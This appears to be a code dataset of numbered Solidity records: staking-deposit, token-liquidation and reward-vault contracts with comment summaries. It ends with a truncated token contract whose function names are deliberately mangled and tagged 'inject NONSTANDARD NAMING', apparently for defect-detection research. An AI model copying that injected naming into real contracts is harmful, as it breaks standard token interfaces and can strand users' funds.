(bool); function getUserDepositAssignedTime() external view returns (uint256); function getPlatformDepositBalance() external view returns (uint256); function nodeDeposit() external payable; function userDeposit() external payable; function stake(bytes calldata _validatorPubkey, bytes calldata _validatorSignature, bytes32 _depositDataRoot) external; function refund() external; function dissolve() external; function close() external; } interface IStafiStakingPoolQueue { function getTotalLength() external view returns (uint256); function getLength(DepositType _depositType) external view returns (uint256); function getTotalCapacity() external view returns (uint256); function getEffectiveCapacity() external view returns (uint256); function getNextCapacity() external view returns (uint256); function enqueueStakingPool(DepositType _depositType, address _stakingPool) external; function dequeueStakingPool() external returns (address); function removeStakingPool() external; } interface IRETHToken { function getEthValue(uint256 _rethAmount) external view returns (uint256); function getRethValue(uint256 _ethAmount) external view returns (uint256); function getExchangeRate() external view returns (uint256); function getTotalCollateral() external view returns (uint256); function getCollateralRate() external view returns (uint256); function depositRewards() external payable; function depositExcess() external payable; function userMint(uint256 _ethAmount, address _to) external; function userBurn(uint256 _rethAmount) external; } interface IStafiEther { function balanceOf(address _contractAddress) external view returns (uint256); function depositEther() external payable; function withdrawEther(uint256 _amount) external; } interface IStafiEtherWithdrawer { function receiveEtherWithdrawal() external payable; } interface IStafiUserDeposit { function getBalance() external view returns (uint256); function getExcessBalance() external view returns (uint256); function deposit() external payable; function recycleDissolvedDeposit() external payable; function recycleWithdrawnDeposit() external payable; function assignDeposits() external; function withdrawExcessBalance(uint256 _amount) external; } // Accepts user deposits and mints rETH; handles assignment of deposited ETH to pools contract StafiUserDeposit is StafiBase, IStafiUserDeposit, IStafiEtherWithdrawer { // Libs using SafeMath for uint256; // Events event DepositReceived(address indexed from, uint256 amount, uint256 time); event DepositRecycled(address indexed from, uint256 amount, uint256 time); event DepositAssigned(address indexed stakingPool, uint256 amount, uint256 time); event ExcessWithdrawn(address indexed to, uint256 amount, uint256 time); // Construct constructor(address _stafiStorageAddress) StafiBase(_stafiStorageAddress) public { version = 1; // Initialize settings on deployment if (!getBoolS("settings.user.deposit.init")) { // Apply settings setDepositEnabled(true); setAssignDepositsEnabled(true); setMinimumDeposit(0.01 ether); // setMaximumDepositPoolSize(100000 ether); setMaximumDepositAssignments(2); // Settings initialized setBoolS("settings.user.deposit.init", true); } } // Current deposit pool balance function getBalance() override public view returns (uint256) { IStafiEther stafiEther = IStafiEther(getContractAddress("stafiEther")); return stafiEther.balanceOf(address(this)); } // Excess deposit pool balance (in excess of stakingPool queue capacity) function getExcessBalance() override public view returns (uint256) { // Get stakingPool queue capacity IStafiStakingPoolQueue stafiStakingPoolQueue = IStafiStakingPoolQueue(getContractAddress("stafiStakingPoolQueue")); uint256 stakingPoolCapacity = stafiStakingPoolQueue.getEffectiveCapacity(); // Calculate and return uint256 balance = getBalance(); if (stakingPoolCapacity >= balance) { return 0; } else { return balance.sub(stakingPoolCapacity); } } // Receive a ether withdrawal // Only accepts calls from the StafiEther contract function receiveEtherWithdrawal() override external payable onlyLatestContract("stafiUserDeposit", address(this)) onlyLatestContract("stafiEther", msg.sender) {} // Accept a deposit from a user function deposit() override external payable onlyLatestContract("stafiUserDeposit", address(this)) { // Check deposit settings require(getDepositEnabled(), "Deposits into Stafi are currently disabled"); require(msg.value >= getMinimumDeposit(), "The deposited amount is less than the minimum deposit size"); // require(getBalance().add(msg.value) <= getMaximumDepositPoolSize(), "The deposit pool size after depositing exceeds the maximum size"); // Load contracts IRETHToken rETHToken = IRETHToken(getContractAddress("rETHToken")); // Mint rETH to user account rETHToken.userMint(msg.value, msg.sender); // Emit deposit received event emit DepositReceived(msg.sender, msg.value, now); // Process deposit processDeposit(); } // Recycle a deposit from a dissolved stakingPool // Only accepts calls from registered stakingPools function recycleDissolvedDeposit() override external payable onlyLatestContract("stafiUserDeposit", address(this)) onlyRegisteredStakingPool(msg.sender) { // Emit deposit recycled event emit DepositRecycled(msg.sender, msg.value, now); // Process deposit processDeposit(); } // Recycle a deposit from a withdrawn stakingPool function recycleWithdrawnDeposit() override external payable onlyLatestContract("stafiUserDeposit", address(this)) onlyLatestContract("stafiNetworkWithdrawal", msg.sender) { // Emit deposit recycled event emit DepositRecycled(msg.sender, msg.value, now); // Process deposit processDeposit(); } // Process a deposit function processDeposit() private { // Load contracts IStafiEther stafiEther = IStafiEther(getContractAddress("stafiEther")); // Transfer ETH to stafiEther stafiEther.depositEther{value: msg.value}(); // Assign deposits if enabled assignDeposits(); } // Assign deposits to available stakingPools function assignDeposits() override public onlyLatestContract("stafiUserDeposit", address(this)) { // Check deposit settings require(getAssignDepositsEnabled(), "Deposit assignments are currently disabled"); // Load contracts IStafiStakingPoolQueue stafiStakingPoolQueue = IStafiStakingPoolQueue(getContractAddress("stafiStakingPoolQueue")); IStafiEther stafiEther = IStafiEther(getContractAddress("stafiEther")); // Assign deposits uint256 maximumDepositAssignments = getMaximumDepositAssignments(); for (uint256 i = 0; i < maximumDepositAssignments; ++i) { // Get & check next available staking pool capacity uint256 stakingPoolCapacity = stafiStakingPoolQueue.getNextCapacity(); if (stakingPoolCapacity == 0 || getBalance() < stakingPoolCapacity) { break; } // Dequeue next available staking pool address stakingPoolAddress = stafiStakingPoolQueue.dequeueStakingPool(); IStafiStakingPool stakingPool = IStafiStakingPool(stakingPoolAddress); // Withdraw ETH from stafiEther stafiEther.withdrawEther(stakingPoolCapacity); // Assign deposit to staking pool stakingPool.userDeposit{value: stakingPoolCapacity}(); // Emit deposit assigned event emit DepositAssigned(stakingPoolAddress, stakingPoolCapacity, now); } } // Withdraw excess deposit pool balance for rETH collateral function withdrawExcessBalance(uint256 _amount) override external onlyLatestContract("stafiUserDeposit", address(this)) onlyLatestContract("rETHToken", msg.sender) { // Load contracts IRETHToken rETHToken = IRETHToken(getContractAddress("rETHToken")); IStafiEther stafiEther = IStafiEther(getContractAddress("stafiEther")); // Check amount require(_amount <= getExcessBalance(), "Insufficient excess balance for withdrawal"); // Withdraw ETH from vault stafiEther.withdrawEther(_amount); // Transfer to rETH contract rETHToken.depositExcess{value: _amount}(); // Emit excess withdrawn event emit ExcessWithdrawn(msg.sender, _amount, now); } // Deposits currently enabled function getDepositEnabled() public view returns (bool) { return getBoolS("settings.deposit.enabled"); } function setDepositEnabled(bool _value) public onlySuperUser { setBoolS("settings.deposit.enabled", _value); } // Deposit assignments currently enabled function getAssignDepositsEnabled() public view returns (bool) { return getBoolS("settings.deposit.assign.enabled"); } function setAssignDepositsEnabled(bool _value) public onlySuperUser { setBoolS("settings.deposit.assign.enabled", _value); } // Minimum deposit size function getMinimumDeposit() public view returns (uint256) { return getUintS("settings.deposit.minimum"); } function setMinimumDeposit(uint256 _value) public onlySuperUser { setUintS("settings.deposit.minimum", _value); } // The maximum size of the deposit pool // function getMaximumDepositPoolSize() public view returns (uint256) { // return getUintS("settings.deposit.pool.maximum"); // } // function setMaximumDepositPoolSize(uint256 _value) public onlySuperUser { // setUintS("settings.deposit.pool.maximum", _value); // } // The maximum number of deposit assignments to perform at once function getMaximumDepositAssignments() public view returns (uint256) { return getUintS("settings.deposit.assign.maximum"); } function setMaximumDepositAssignments(uint256 _value) public onlySuperUser { setUintS("settings.deposit.assign.maximum", _value); } }
Recycle a deposit from a dissolved stakingPool Only accepts calls from registered stakingPools Emit deposit recycled event Process deposit
function recycleDissolvedDeposit() override external payable onlyLatestContract("stafiUserDeposit", address(this)) onlyRegisteredStakingPool(msg.sender) { emit DepositRecycled(msg.sender, msg.value, now); processDeposit(); }
10,724,407
./partial_match/1/0xB4b74425B15B18Cb20956ec16BB1b349F661E67e/sources/BancorConverter.sol
sells the token for all reserve tokens using the same percentage for example, if the holder sells 10% of the supply, then they will receive 10% of each reserve token balance in return note that the function can be called also when conversions are disabled _amount amount to liquidate (in the smart token)/ destroy _amount from the caller's balance in the smart token iterate through the reserve tokens and send a percentage equal to the ratio between _amount and the total supply from each reserve balance to the caller transfer funds to the caller in the reserve token dispatch price data update for the smart token/reserve
function liquidate(uint256 _amount) public multipleReservesOnly { uint256 supply = token.totalSupply(); IBancorFormula formula = IBancorFormula(addressOf(BANCOR_FORMULA)); token.destroy(msg.sender, _amount); IERC20Token reserveToken; uint256 reserveBalance; uint256 reserveAmount; for (uint16 i = 0; i < reserveTokens.length; i++) { reserveToken = reserveTokens[i]; reserveBalance = reserveToken.balanceOf(this); reserveAmount = formula.calculateLiquidateReturn(supply, reserveBalance, totalReserveRatio, _amount); Reserve storage reserve = reserves[reserveToken]; ensureTransferFrom(reserveToken, this, msg.sender, reserveAmount); emit PriceDataUpdate(reserveToken, supply - _amount, reserveBalance - reserveAmount, reserve.ratio); } }
4,218,063
pragma solidity ^0.5.16; import "./Utils/SafeBEP20.sol"; import "./Utils/IBEP20.sol"; import "./VaultProxy.sol"; import "./VaultStorage.sol"; import "./VaultErrorReporter.sol"; contract Vault is VaultStorage { using SafeMath for uint256; using SafeBEP20 for IBEP20; /// @notice Event emitted when deposit event Deposit(address indexed user, uint256 amount); /// @notice Event emitted when withrawal event Withdraw(address indexed user, uint256 amount); /// @notice Event emitted when admin changed event AdminTransfered(address indexed oldAdmin, address indexed newAdmin); constructor() public { admin = msg.sender; } modifier onlyAdmin() { require(msg.sender == admin, "only admin can"); _; } /*** Reentrancy Guard ***/ /** * @dev Prevents a contract from calling itself, directly or indirectly. */ modifier nonReentrant() { require(_notEntered, "re-entered"); _notEntered = false; _; _notEntered = true; // get a gas-refund post-Istanbul } /** * @notice Deposit to Vault for Atlantis allocation * @param _amount The amount to deposit to vault */ function deposit(uint256 _amount) public nonReentrant { UserInfo storage user = userInfo[msg.sender]; updateVault(); // Transfer pending tokens to user updateAndPayOutPending(msg.sender); // Transfer in the amounts from user if(_amount > 0) { stakedToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(accAtlantisPerShare).div(1e18); emit Deposit(msg.sender, _amount); } /** * @notice Withdraw from Vault * @param _amount The amount to withdraw from vault */ function withdraw(uint256 _amount) public nonReentrant { _withdraw(msg.sender, _amount); } /** * @notice Claim Atlantis from Vault */ function claim() public nonReentrant { _withdraw(msg.sender, 0); } /** * @notice Low level withdraw function * @param account The account to withdraw from vault * @param _amount The amount to withdraw from vault */ function _withdraw(address account, uint256 _amount) internal { UserInfo storage user = userInfo[account]; require(user.amount >= _amount, "withdraw: not good"); updateVault(); updateAndPayOutPending(account); // Update balances of account this is not withdrawal but claiming Atlantis farmed if(_amount > 0) { user.amount = user.amount.sub(_amount); stakedToken.safeTransfer(address(account), _amount); } user.rewardDebt = user.amount.mul(accAtlantisPerShare).div(1e18); emit Withdraw(account, _amount); } /** * @notice View function to see pending Atlantis on frontend * @param _user The user to see pending Atlantis */ function pendingAtlantis(address _user) public view returns (uint256) { UserInfo storage user = userInfo[_user]; return user.amount.mul(accAtlantisPerShare).div(1e18).sub(user.rewardDebt); } /** * @notice Update and pay out pending Atlantis to user * @param account The user to pay out */ function updateAndPayOutPending(address account) internal { uint256 pending = pendingAtlantis(account); if(pending > 0) { IAtlantisStore(atlantisStore).safeAtlantisTransfer(account, pending); atlantisBalance = IAtlantisStore(atlantisStore).atlantisBalance(); } } /** * @notice Function that updates pending rewards */ function updatePendingRewards() public { uint256 existingRewards = IAtlantisStore(atlantisStore).atlantisBalance(); uint256 newRewards = existingRewards.sub(atlantisBalance); if(newRewards > 0) { atlantisBalance = IAtlantisStore(atlantisStore).atlantisBalance(); // If there is no change the balance didn't change pendingRewards = pendingRewards.add(newRewards); } } /** * @notice Update reward variables to be up-to-date */ function updateVault() internal { uint256 stakedTokenBalance = stakedToken.balanceOf(address(this)); if (stakedTokenBalance == 0) { // avoids division by 0 errors return; } accAtlantisPerShare = accAtlantisPerShare.add(pendingRewards.mul(1e18).div(stakedTokenBalance)); pendingRewards = 0; } /** * @dev Returns the address of the current admin */ function getAdmin() public view returns (address) { return admin; } /** * @dev Burn the current admin */ function burnAdmin() public onlyAdmin { emit AdminTransfered(admin, address(0)); admin = address(0); } /** * @dev Set the current admin to new address */ function setNewAdmin(address newAdmin) public onlyAdmin { require(newAdmin != address(0), "new owner is the zero address"); emit AdminTransfered(admin, newAdmin); admin = newAdmin; } /*** Admin Functions ***/ function _become(VaultProxy vaultProxy) public { require(msg.sender == vaultProxy.admin(), "only proxy admin can change brains"); require(vaultProxy._acceptImplementation() == 0, "change not authorized"); } function setAtlantisInfo(address _atlantisStore, address _stakedToken) public onlyAdmin { atlantisStore = _atlantisStore; stakedToken = IBEP20(_stakedToken); _notEntered = true; } /** * @dev Returns the address of the atlantis store */ function getAtlantisStore() public view returns (address) { return address(atlantisStore); } } interface IAtlantisStore { function safeAtlantisTransfer(address _to, uint256 _amount) external; function atlantisBalance() external returns (uint256); }
Low level withdraw function account The account to withdraw from vault _amount The amount to withdraw from vault/
function _withdraw(address account, uint256 _amount) internal { UserInfo storage user = userInfo[account]; require(user.amount >= _amount, "withdraw: not good"); updateVault(); if(_amount > 0) { user.amount = user.amount.sub(_amount); stakedToken.safeTransfer(address(account), _amount); } user.rewardDebt = user.amount.mul(accAtlantisPerShare).div(1e18); emit Withdraw(account, _amount); }
15,869,816
pragma solidity 0.6.12; interface IERC20 { function TOTALSUPPLY831() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF536(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER353(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE946(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE926(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM954(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER795(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL172(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } library SafeMath { function ADD659(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB877(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB877(a, b, "SafeMath: subtraction overflow"); } function SUB877(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL487(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV156(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV156(a, b, "SafeMath: division by zero"); } function DIV156(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD860(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD860(a, b, "SafeMath: modulo by zero"); } function MOD860(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } library Address { function ISCONTRACT107(address account) internal view returns (bool) { //inject NONSTANDARD NAMING // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function SENDVALUE513(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function SAFETRANSFER239(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.TRANSFER353.selector, to, value)); } function SAFETRANSFERFROM64(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.TRANSFERFROM954.selector, from, to, value)); } function SAFEAPPROVE765(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.ALLOWANCE946(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, value)); } function SAFEINCREASEALLOWANCE134(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE946(address(this), spender).ADD659(value); _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, newAllowance)); } function SAFEDECREASEALLOWANCE546(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE946(address(this), spender).SUB877(value, "SafeERC20: decreased allowance below zero"); _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, newAllowance)); } function _CALLOPTIONALRETURN137(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).ISCONTRACT107(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } function _ADD286(Set storage set, bytes32 value) private returns (bool) { //inject NONSTANDARD NAMING if (!_CONTAINS837(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } function _REMOVE863(Set storage set, bytes32 value) private returns (bool) { //inject NONSTANDARD NAMING // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } function _CONTAINS837(Set storage set, bytes32 value) private view returns (bool) { //inject NONSTANDARD NAMING return set._indexes[value] != 0; } function _LENGTH639(Set storage set) private view returns (uint256) { //inject NONSTANDARD NAMING return set._values.length; } function _AT524(Set storage set, uint256 index) private view returns (bytes32) { //inject NONSTANDARD NAMING require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } function ADD659(AddressSet storage set, address value) internal returns (bool) { //inject NONSTANDARD NAMING return _ADD286(set._inner, bytes32(uint256(value))); } function REMOVE976(AddressSet storage set, address value) internal returns (bool) { //inject NONSTANDARD NAMING return _REMOVE863(set._inner, bytes32(uint256(value))); } function CONTAINS600(AddressSet storage set, address value) internal view returns (bool) { //inject NONSTANDARD NAMING return _CONTAINS837(set._inner, bytes32(uint256(value))); } function LENGTH659(AddressSet storage set) internal view returns (uint256) { //inject NONSTANDARD NAMING return _LENGTH639(set._inner); } function AT450(AddressSet storage set, uint256 index) internal view returns (address) { //inject NONSTANDARD NAMING return address(uint256(_AT524(set._inner, index))); } // UintSet struct UintSet { Set _inner; } function ADD659(UintSet storage set, uint256 value) internal returns (bool) { //inject NONSTANDARD NAMING return _ADD286(set._inner, bytes32(value)); } function REMOVE976(UintSet storage set, uint256 value) internal returns (bool) { //inject NONSTANDARD NAMING return _REMOVE863(set._inner, bytes32(value)); } function CONTAINS600(UintSet storage set, uint256 value) internal view returns (bool) { //inject NONSTANDARD NAMING return _CONTAINS837(set._inner, bytes32(value)); } function LENGTH659(UintSet storage set) internal view returns (uint256) { //inject NONSTANDARD NAMING return _LENGTH639(set._inner); } function AT450(UintSet storage set, uint256 index) internal view returns (uint256) { //inject NONSTANDARD NAMING return uint256(_AT524(set._inner, index)); } } contract Initializable { bool private initialized; bool private initializing; modifier INITIALIZER933() { //inject NONSTANDARD NAMING require(initializing || ISCONSTRUCTOR543() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } function ISCONSTRUCTOR543() private view returns (bool) { //inject NONSTANDARD NAMING // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __CONTEXT_INIT408() internal INITIALIZER933 { //inject NONSTANDARD NAMING __CONTEXT_INIT_UNCHAINED28(); } function __CONTEXT_INIT_UNCHAINED28() internal INITIALIZER933 { //inject NONSTANDARD NAMING } function _MSGSENDER195() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA356() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OWNERSHIPTRANSFERRED637(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING function __OWNABLE_INIT503() internal INITIALIZER933 { //inject NONSTANDARD NAMING __CONTEXT_INIT_UNCHAINED28(); __OWNABLE_INIT_UNCHAINED19(); } function __OWNABLE_INIT_UNCHAINED19() internal INITIALIZER933 { //inject NONSTANDARD NAMING address msgSender = _MSGSENDER195(); _owner = msgSender; emit OWNERSHIPTRANSFERRED637(address(0), msgSender); } function OWNER330() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER691() { //inject NONSTANDARD NAMING require(_owner == _MSGSENDER195(), "Ownable: caller is not the owner"); _; } function RENOUNCEOWNERSHIP236() public virtual ONLYOWNER691 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED637(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP889(address newOwner) public virtual ONLYOWNER691 { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OWNERSHIPTRANSFERRED637(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } interface INBUNIERC20 { function TOTALSUPPLY831() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF536(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER353(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE946(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE926(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM954(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER795(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL172(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING event LOG470(string log); //inject NONSTANDARD NAMING } library console { address constant console_address243 = address(0x000000000000000000636F6e736F6c652e6c6f67); //inject NONSTANDARD NAMING function _SENDLOGPAYLOAD647(bytes memory payload) private view { //inject NONSTANDARD NAMING uint256 payloadLength = payload.length; address consoleAddress = console_address243; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function LOG714() internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log()")); } function LOGINT241(int p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(int)", p0)); } function LOGUINT442(uint p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint)", p0)); } function LOGSTRING55(string memory p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string)", p0)); } function LOGBOOL721(bool p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool)", p0)); } function LOGADDRESS713(address p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address)", p0)); } function LOGBYTES271(bytes memory p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes)", p0)); } function LOGBYTE944(byte p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(byte)", p0)); } function LOGBYTES1701(bytes1 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes1)", p0)); } function LOGBYTES2946(bytes2 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes2)", p0)); } function LOGBYTES314(bytes3 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes3)", p0)); } function LOGBYTES4424(bytes4 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes4)", p0)); } function LOGBYTES566(bytes5 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes5)", p0)); } function LOGBYTES6220(bytes6 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes6)", p0)); } function LOGBYTES7640(bytes7 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes7)", p0)); } function LOGBYTES8995(bytes8 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes8)", p0)); } function LOGBYTES9199(bytes9 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes9)", p0)); } function LOGBYTES10336(bytes10 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes10)", p0)); } function LOGBYTES11706(bytes11 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes11)", p0)); } function LOGBYTES12632(bytes12 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes12)", p0)); } function LOGBYTES13554(bytes13 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes13)", p0)); } function LOGBYTES14593(bytes14 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes14)", p0)); } function LOGBYTES15340(bytes15 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes15)", p0)); } function LOGBYTES16538(bytes16 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes16)", p0)); } function LOGBYTES17699(bytes17 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes17)", p0)); } function LOGBYTES18607(bytes18 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes18)", p0)); } function LOGBYTES19918(bytes19 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes19)", p0)); } function LOGBYTES20388(bytes20 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes20)", p0)); } function LOGBYTES21100(bytes21 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes21)", p0)); } function 